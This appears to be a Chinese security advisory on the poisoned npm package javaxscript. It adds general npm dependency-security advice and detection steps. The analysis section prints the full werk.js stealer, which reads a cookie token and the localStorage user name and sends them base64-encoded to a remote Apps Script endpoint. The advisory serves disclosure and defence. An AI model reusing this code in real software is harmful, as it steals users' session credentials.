SBOM风险预警 | NPM前端框架 javaxscript 遭受投毒窃取浏览器cookie

SBOM情报概述

Summary

近日(2025.08.13),悬镜供应链安全情报中心在NPM官方仓库中捕获1起针对JS前端框架组件 javaxscript 的投毒攻击事件,该组件托管在GitHub上的项目源码在1.1.93及后续版本中被植入恶意代码,恶意代码一旦被加载将会盗取用户浏览器cookie敏感数据并回传到投毒者控制的服务器接口。 

图片

javaxscript恶意包主页

截至目前,该恶意组件仍正常托管在NPM官方源及国内各大主流镜像源,对于NPM开发者来说存在较大安全隐患。根据官方统计接口,该恶意包的总下载量超过23000次。

投毒分析

Poisoning Analysis

1

github项目投毒  

javaxscript组件项目源代码托管在Github平台(https://github.com/Patrick-ring-motive/framework),并通过Github WorkFlow自动构建并发版推送到NPM官方仓库。在北京时间2025年8月12号,项目维护者(Patrick-ring-motive)创建了包含恶意代码的werk.js文件,该恶意文件最终被自动打包并随着组件一同发布到NPM官方仓库(registry.npmjs.org)。

图片

投放恶意文件werk.js

2

窃取浏览器cookie数据

恶意文件werk.js负责解析并提取用户浏览器localStorage以及Cookie中的用户名与token相关敏感数据,窃取的数据最终被base64编码后通过HTTP GET方式发送到投毒者可控的服务器API。

图片

werk.js投毒代码

(() => {  const parse = (x) => {    try {      return JSON.parse(x);    } catch {      return x;    }  };  let eagleid = Object.fromEntries(document.cookie.split(";").map((x) => String(x).trim().split("=")).map((x) => [x.shift(), x.join("=")])).id_token_marker;  let name = String(parse(localStorage.getItem("user"))?.FirstName);  const url = new URL("https://script.google.com/macros/s/AKfycbzCqAhWZNUcRaKvXSE9EhSgWvCY4xCgY0U2ksr_nv_eCGd2i-oh8cznalBfqSkSn7C6Vw/exec",);  url.searchParams.set("payload",btoa(encodeURIComponent(JSON.stringify({ eagleid, name }))));  (async () => {    try {      await import(url);    } catch {}    [...document.querySelectorAll(`[id="person"]>[id="title"]:not([x10]),[id*="orgItemInfoContainer"]:has([href="https://apps.usaa.com/enterprise/employee-directory?emplNum=Y3953"]) [id*="orgJobTitle"]:not([x10])`,)].forEach((x) => {      x.innerText = "10x Software Engineer";      x.setAttribute("x10", true);    });    [...document.querySelectorAll("[missing]")].forEach((x) => x.remove());  })();})();

3

IoC 数据

本文分析所涉及的恶意IoC数据如下表所示:

图片

排查方式

Investigation Method

开发者可通过命令 npm list javaxscript 在项目目录下使用查询是否已安装存在恶意投毒的组件版本,如果已安装请立即使用 npm uninstall javaxscript进行卸载。同时还需关闭系统网络并排查系统是否存在异常进程。

此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

​​​​​​​

[     {         "product":"javaxscript",         "version":"[1.1.93, 1.1.94, 1.1.95, 1.1.96]",         "language":"javascript",         "id":"XMIRROR-MAL45-4223C53C",         "description": "NPM组件javaxscript遭受代码投毒窃取浏览器cookie数据",         "release_date": "2025-08-13"     }]

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。

### npm安全性与风险检测 npm 是 JavaScript 生态系统中最常用的包管理工具,但其庞大的依赖树也带来了潜在的安全风险。为了识别和避免使用存在漏洞的 npm 包,开发者可以采取多种策略和技术手段。 #### 风险识别方法 1. **内置工具:`npm audit`** `npm audit` 是 npm 自带的漏洞扫描工具,能够检查项目中是否存在已知的安全漏洞,并提供修复建议。执行命令后,它会列出所有受影响的依赖及其严重程度等级。 ```bash npm audit ``` 2. **第三方工具:Snyk 和 Socket** Snyk 提供了更深入的依赖分析功能,支持持续集成(CI)环境中的自动化检测[^1]。Socket 则专注于检测供应链攻击,帮助识别恶意行为或异常依赖项。这些工具通常具有更高的准确性和更丰富的漏洞数据库。 3. **依赖更新策略:Dependabot 与 RenovateBot** 可以配置 Dependabot 或 RenovateBot 实现自动化的依赖更新。这些工具会在发现新版本时创建 Pull Request,并确保在合并前通过安全测试。 4. **幽灵依赖检测:depcheck** 幽灵依赖是指未在 `package.json` 中声明但实际被使用的依赖项。它们可能因其他依赖包的升级而被意外移除,导致运行时错误。可以通过 `depcheck` 工具检测并显式声明这些依赖[^2]。 #### 如何避免使用有漏洞的 npm 包 - **锁定依赖版本:`package-lock.json`** 使用 `package-lock.json` 文件可以确保每次安装的依赖版本一致,防止因依赖升级引入未知漏洞。 - **定期扫描依赖树** 在开发过程中,应定期运行 `npm audit` 或集成 Snyk 等工具到 CI/CD 流程中,确保依赖链始终处于安全状态[^1]。 - **限制依赖数量** 依赖越多,潜在风险越大。尽量减少不必要的依赖,优先选择维护活跃、社区认可度高的库。 - **使用 SBOM(软件物料清单)** 未来趋势之一是采用 SBOM 记录所有组件来源,这有助于追踪每个依赖的出处和历史变更记录。 - **签名验证与沙盒安装** 对于关键项目,可启用包发布者的签名验证机制,确保下载的依赖来源可信。同时,使用沙盒环境隔离依赖安装过程,降低供应链攻击的风险。 #### 漏洞修复流程 1. 执行 `npm audit fix` 自动修复低风险问题: ```bash npm audit fix ``` 2. 对于无法自动修复的高危漏洞,需手动升级依赖版本或寻找替代方案。 3. 若发现零日漏洞(尚未公开披露的漏洞),应及时联系供应商或社区寻求解决方案。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值